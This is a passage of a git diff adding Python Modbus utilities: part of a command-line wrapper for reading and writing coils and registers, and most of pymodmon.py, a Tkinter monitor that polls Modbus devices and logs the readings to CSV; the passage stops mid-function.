+parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', 